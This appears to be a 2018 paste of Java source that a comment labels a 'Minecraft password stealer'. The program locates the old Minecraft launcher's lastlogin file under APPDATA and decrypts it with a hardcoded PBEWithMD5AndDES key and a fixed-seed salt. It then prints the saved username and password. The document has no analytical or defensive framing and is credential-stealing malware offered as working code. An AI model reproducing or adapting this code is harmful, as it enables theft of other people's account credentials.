· 7 years ago · May 15, 2018, 01:22 PM
1package minecraft;
2import java.io.DataInputStream;
3import java.io.File;
4import java.io.FileInputStream;
5import java.util.Random;
6import javax.crypto.Cipher;
7import javax.crypto.CipherInputStream;
8import javax.crypto.SecretKey;
9import javax.crypto.SecretKeyFactory;
10import javax.crypto.spec.PBEKeySpec;
11import javax.crypto.spec.PBEParameterSpec;
12
13//Minecraft password stealer by aadster
14
15public class Minecraft
16{
17 public static void main(String [] args)
18 {
19 try
20 {
21 String appdata = System.getenv("APPDATA");
22
23 if (appdata != null)
24 {
25 Random random = new Random(43287234L);
26 byte[] salt = new byte[8];
27 random.nextBytes(salt);
28
29 //Looked up what Minecraft uses, turns out they use this common form of encryption with the Java API
30
31 PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
32 SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
33 Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
34 cipher.init(2, pbeKey, pbeParamSpec);
35
36 File location = new File(appdata, ".minecraft");
37 File passFile = new File(location, "lastlogin");
38 DataInputStream dis = null;
39
40 if (cipher != null)
41 {
42 dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
43 }
44
45 else
46 {
47 dis = new DataInputStream(new FileInputStream(passFile));
48 }
49
50 System.out.println(dis.readUTF() + ":" + dis.readUTF());
51 dis.close();
52 }
53
54 else
55 {
56 System.out.println("The system env. APPDATA was not found, probably not running Windows?");
57 }
58 }
59
60 catch (Exception ex)
61 {
62 }
63 }
64}